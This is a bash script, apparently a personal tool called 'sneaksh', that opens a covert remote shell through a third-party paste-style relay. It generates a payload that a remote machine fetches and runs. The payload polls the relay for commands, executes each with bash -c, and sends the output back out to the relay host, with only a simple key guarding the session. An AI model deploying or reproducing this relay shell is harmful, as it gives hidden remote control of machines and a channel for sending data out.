#!/usr/bin/env bash
#> A simple remote shell execution session through rclip.feveile-hauge.dk
#> Usage: sneaksh <key>

IFS=$'
	'

usage() {
    echo "Usage: sneaksh <key>"
}

if [ $# -ne 1 ]; then
    usage
    exit 1
fi

KEY="$1"
if ! [[ "$KEY" =~ ^[a-zA-Z0-9_-]+$ ]]; then
    echo "Error: Key must be alphanumeric (letters, numbers, underscores, and hyphens only)."
    exit 1
fi

INLINE_SCRIPT=$(
    cat <<EOF
#!/usr/bin/env bash
IFS=$'
    '

echo "Sending handshake..."
x=\$(curl -L -s -X POST -d "OK" "https://rclip.feveile-hauge.dk/hs-$KEY?private=true&once=true")
while true; do
    echo -e "\e[34m➤ Waiting for command:\e[0m"
    cmd=\$(curl -L -s "https://rclip.feveile-hauge.dk/next/cmd-$KEY")
    if [ -z "\$cmd" ]; then
        echo "No command received, waiting..."
        continue
    fi
    echo -e "\e[33m➤ Command received:\e[0m \$cmd"
    result=\$(bash -c "\$cmd" 2>&1)
    echo "\$result"
    x=\$(curl -L -s -X POST -d "\$result" "https://rclip.feveile-hauge.dk/rsp-$KEY?private=true&once=true")
    echo -e "\e[32m✔ Result sent.\e[0m"
done
EOF
)

rsp_file=$(mktemp)
curl -L -s --max-time 2 "https://rclip.feveile-hauge.dk/next/rsp-$KEY" >"$rsp_file" &
rsp_pid=$!
sleep 0.2
req=$(curl -L -s -X POST -d "ls" "https://rclip.feveile-hauge.dk/cmd-$KEY?private=true&once=true")
wait $rsp_pid 2>/dev/null
rsp=$(<"$rsp_file")
rm -f "$rsp_file"

if [ -n "$rsp" ]; then
    echo -e "🔗 \e[32mActive session found. Attaching to existing session.\e[0m"
    echo -e "🚀 \e[34m➤Sent command:\e[0m ls"
    echo "$rsp"
    echo -e "📩\e[32m Response received.\e[0m"
else
    echo -e "🆕 \e[34mNo active session found. Creating new session...\e[0m"
    curl -L -s -X POST -d "$INLINE_SCRIPT" "https://rclip.feveile-hauge.dk/$KEY?once=true&private=true"
    echo ""

    echo -e "⏳ \e[34mWaiting for handshake...\e[0m"
    hs_resp=$(curl -L -s "https://rclip.feveile-hauge.dk/next/hs-$KEY")
    if [ "$hs_resp" != "OK" ]; then
        echo "Error: Failed to get handshake response."
        echo "Response was: $hs_resp"
        exit 1
    fi
    echo -e "🤝 \e[32mHandshake successful. You can now enter commands to execute remotely.\e[0m"
fi

# while true
# read line from stdin -> send to cmd-$KEY
# then wait for response from rsp-$KEY and print it
while true; do
    if ! read -r line; then
        break
    fi
    echo -e "🚀 \e[34m➤Sent command:\e[0m $line"
    rsp_file=$(mktemp)
    curl -L -s --max-time 5 "https://rclip.feveile-hauge.dk/next/rsp-$KEY" >"$rsp_file" &
    rsp_pid=$!
    # Give it a short moment to ensure connection is established
    sleep 0.2
    # Now send the request
    req=$(curl -L -s -X POST -d "$line" "https://rclip.feveile-hauge.dk/cmd-$KEY?private=true&once=true")
    wait $rsp_pid 2>/dev/null
    rsp=$(<"$rsp_file")
    rm -f "$rsp_file"
    echo "$rsp"
    # Echo in colors response ended:
    echo -e "📩\e[32m Response received.\e[0m"
done